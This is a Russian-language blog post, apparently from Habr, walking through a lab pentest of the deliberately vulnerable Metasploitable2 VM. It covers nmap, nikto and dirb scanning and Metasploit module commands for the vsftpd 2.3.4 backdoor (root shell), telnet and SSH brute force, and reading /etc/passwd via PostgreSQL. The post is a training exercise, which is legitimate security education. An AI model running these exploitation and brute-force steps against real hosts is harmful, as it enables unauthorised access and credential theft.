Некоторые базовые примеры атаки на уязвимую машину Metasploitable2. Небольшая шпаргалка по Metasploit-Framework

от автора

Всех приветствую, читатели Хабра! В сегодняшней статье я поделюсь своей базовой практикой пентеста уязвимой машины Metasploitable2. В одной из прошлых статей я уже показывал методы брутфорса данной машины. В этой статье будет ещё немного брутфорса и иных методов обнаружения и эксплуатации уязвимостей. Поднимал машину я на virtualbox. В приведенной статье я показывал как поднять машину, в этой статье я еще раз напомню как это сделать.

Примечание

Правовая информация:

Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях. Автор статьи не несет ответственности за ваши действия. Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:

  • УК РФ Статья 272. Неправомерный доступ к компьютерной информации

  • УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ

  • УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей

Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.

И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением. Здесь я делюсь своим опытом, и не более, это своего рода онлайн-шпаргалка.

Алгоритм атаки будет следующий:

  1. Загрузка образа виртуальной машины, запуск и настройка образа. Поиск системы внутри сетевого интерфейса

  2. Сканирование цели

  3. Энумерация

  4. Непосредственно сама атака. Обнаружение и эксплуатация уязвимостей [Metasploit]. Получение доступа к системе

Итак приступим к практике

1) Загрузка образа виртуальной машины, запуск и настройка образа. Поиск системы внутри сетевого интерфейса

Скачать образ виртуальной машины можно здесь.

После скачивания откроем архив, распакуем файл с расширением vdmk, после чего открываем virtualbox создаем новую машину (New) я назвалее «1» тип Linux 64-bit. Во втором окне ничего не меняем, в третьем выбираем виртуальный жесткий диск — файл с расширением vdmk. Жмем далее, в четвертом окне заканчиваем.

Важно! Заходим в сетевые настройки машины и выбираем тот сетевой интерфейс, в котором находится атакующая ОС (Kali Linux). Поскольку я комутировал через обычный лановский порт, то и выбираю интерфейс eth0 через бридж.

Запускаем машину (зеленая стрелка).

Далее сканирую всю локальную сетку c nmap

nmap 192.168.3.0-255

Наша цель находится на ip 192.168.3.101

2) Сканирование цели

Теперь необходимо наиболее детально просканировать цель. Запускаю nmap со следующими опциями:

nmap -sS -sV -O 192.168.3.101

что помогает мне определить не только сокеты и службы, но и версии служб.

Кроме того, запускаю сканирование с whatweb и nikto

whatweb 192.168.3.101
nikto -h 192.168.3.101

Whatweb вывел информацию о системе и некоторых службах, а nikto уже на этапе сканирования выявил некоторые уязвимости CVE.

Все перечисленные действия, включая следующийшаг — энумерацию, помогают узнать больше информации о хосте, с целью поиска возможных уязвимостей и способов атаки

3) Энумерация

Провожу энумерацию. В предидущих статьях, посвященных анализу защищенности веб-приложений я объяснял что такое энумерация. Еще раз повторюсь: энумерация — процесс перебора всех возможный файлов и папок (директорий), которые имеются на целевом хосте (узле).

Приступим. Энумерацию провожу утилитами dirsearch и dirb:

dirsearch -u 192.168.3.101
dirb http://192.168.3.101

Инструменты выдали очень обширный список (CODE:200 — означает что такой адрес/каталог/файл найдены).

4) Непосредственно сама атака. Обнаружение и эксплуатация уязвимостей [Metasploit]. Получение доступа к системе

В моих примерах, для поиска и эксплуатации уязвимостей я буду использовать фреймворк metasploit. Сразу хочу сказать, что это лишь небольшая шпаргалка по metasploit, в рамках одной статьи просто невозможно описать весь фреймворк и весь его богатый функционал. И да, кроме поиска и эксплуатации уязвиостей, в некоторых примерах я получал полный доступ к системе.

Для начала зайдем в фреймворк, выполнив в терминале

msfconsole

Фреймворк запускается в терминале.

Внутри консоли возможен поиск по уязвимым службам, сокетам, ПО, ОС и даже по моделям оборудования

Поскольку на целевом хосте имеется открытй порт VNC 5900 попробуем найти уязвимость, введя в консоле

search vnc

Богатый выбор. Но меня интересует 108-ая строка. Чтобы использовать данный эксплоит просто ввожу в консоле:

use 108

Далее переходим к опциям, введя:

options

Командой

set RHOSTS 192.168.3.101

назначаем цель (можно и несколько целей, например 192.168.3.99-121) для эксплоита.

Снова проверяем options опции, и видим что цель назначена

Далее выполним эксплоит. Выполнить эксплоит можно двумя командами — run и exploit

Получаем вывод. Данный вывод говорит о том, что VNC-сервер доступен без аутентификации, что означает что через VNC клиент к данному хосту может подключится любой, без ввода данных аутентификации. Это серьезная уязвимость, так как она способна привести к доступу злоумышленника к системе. Этот пример с обнаружением уязвимости, но без ее эксплуатации, но вот следующая с эксплуатацией и доступом ко всей системе.

На целевом хосте имеется открытый сокет 21 с запущенной службой FTP с версией ПО vsftpd 2.3.4. Поробуем найти ее, введя в консоле:

search vsftpd 2.3.4

обнаружен один эксплоит. Используем его

use 0

Снова смотрим опции options назначаем цель для эксплоита

set RHOSTS 192.168.3.101

и проверяем options .

Запускаем эксплоит

exploit

и немного подождав получаем доступ ко всей системе. Данный тип уязвимости называется бэкдор (backdoor) — «задняя дверь» — удаленный доступ ко всей системе.

Как видно из скриншота, первое что я сделал — узнал от чьего имени я в системе — whoami — root. После чего введя pwd и ls я проверил текущую директорию (корневая) и папки внутри корневой директории.

Далее я вывел идентификатор пользователя командой id и содержимое файла /etc/passwd (cat /etc/passwd)

Далее я перешел в домашний каталог командой

cd /home

и узнал ее содержимое

ls

Теперь я точно знаю что есть пользователи msfadmin и user.

Теперь найдем в консоле уязвимости связанные с telnet, так как при сканировании выяснилось, что порт 23 открыт, и на немзапущенна служба. Введем в консоле

search telnet

Меня интересует 72-ая строка telnet_login. Испеользуем ее ии сразу посмотрим опции:

use 72
options

Как видно в опциях есть PASS_FILE и USER_FILE что означает что эксплоит производится методом брутфорса. В прошлой статье посвященной данной машине я упоминал методы брутфорса, но с помощью инструментов ncrack, hydra, medusa. В этой статье я покажу примеры брутфорса с помощью metasploit. Как видно из скриншота выше, назанчаем цель для эксплоита, бланк пароля и словари для брутфорса с логинами и паролями (в моем случае я создал небольшой словарик userpass.txt). Естественно все делаем в консоле:

set RHOSTS 192.168.3.101
set VERBOSE false
set BLANK_PASSWORDS false
set PASS_FILE /home/kali/userpass.txt
set USER_FILE /home/kali/userpass.txt

Проверяем, все ли так

options

Запускаем эксплоит

exploit

Эксплоит успешен, найдены пары логин-пароль. Как видно на скриншоте выше проверяем сессии

sessions -l

После чего выбираем первуюсессию

sessions -i 1

и получаем снова доступ

Проверяем текущую директорию pwd — /home/msfadmin, ее содержимое — ls, проверяем id и выводим содержимое файла /etc/passwd (cat /etc/passwd).

В предидущих моих статьях, посвященных безопасности веб-приложений (раз, два, три, четыре, пять) я неоднократно повторял что доступ к /etc/passwd серьезная уязвимость. Повторюсь еще раз /etc/passwd — файл, содержащий в текстовом формате список пользовательских учётных записей (аккаунтов). Является первым и основным источником информации о правах пользователя операционной системы. Существует в большинстве версий и вариантов UNIX-систем. Обязан присутствовать в POSIX-совместимой операционной системе. (https://wiki.ublinux.ru/ru/Использование/Настройка/Вводная_информация). Правда конечно в данном примере у меня доступ ко всей системе, а не к отдельному файлу, что является куда большей уязвимостью.

По аналогии можно провести брутфорс ssh

search ssh_login
use 0
options

По аналогии заполняем опции:

set RHOSTS 192.168.3.101
set VERBOSE false
set BLANK_PASSWORDS false
set PASS_FILE /home/kali/userpass.txt
set USER_FILE /home/kali/userpass.txt

Проверяем все ли верно

options

Запускаем эксплоит

exploit

И снова находим пары логин-пароль

Конечно можно провести и брутфорс сервиса ftp по аналогии с ssh и telnet, но в данном случае нет необходимости, так как по ftp и так уже обнаружен бэкдор и без брутфорса.

Metasploit способен провести и энумерацию (и даже сканирование хоста). Сейчас я приведу примеры энумерации

search dir_

use 12

12-ая строка. Снова назначаем хост, запускаем эксплоит

set RHOSTS 192.168.3.101
exploit

Как видно энумерация успешно прошла (статус кода 200), хоть и не в полном объеме.

Следующий пример энумерации

search files_dir
use 0
options
set RHOSTS 192.168.3.101

Эксплоит

exploit

Снова успешно, хоть и не так хорошо, как специализированные инструменты типа dirb.

На одном из сокетов (8180) имеется запущенная служба Apache tomcat. На ней также можно найти уязвимость

search tomcat_administration
use 0
set RHOSTS 192.168.3.101
options
exploit

Уязвимость обнаружена, без эксплуатации. В некоторых случаях злоумышленник может получить доступ к панели администрирования tomcat либо без аутентификации, либо со слабой стандартной аутентификацией, что в свою очередь может привести к утечке, либо изменению конфигурации серевера, либо к выполению кода злоумышленника, то есть последствия не предсказуемы.

Также на сервере открыт сокет 5432 с запушенным postgres. Проэксплуатируем его

search postgres_readfile
use 0
options

Назначим цель атаки и проведем эксплоит

set RHOSTS 192.168.3.101
exploit

И снова доступ к упомянутому /etc/passwd.

Само собой это не все уязвимости, обнаруженные на данной машине. Имеются и другие. Кроме того в самом фреймворке metasploit имеется множество других модулей (payloads, msfvenom и др.). Повторюсь, в рамках одной статьи невозможно описать все возможности, приемы и методы работы с фреймворком, как и невозможно в рамках одной статьи рассказать о полном пентесте (всех возможных служб) уязвимой машины. В этой статье я поделился лишь базовыми, самыми простыми, приемами работы с данным фреймворком.

А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!


ссылка на оригинал статьи https://habr.com/ru/articles/900414/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *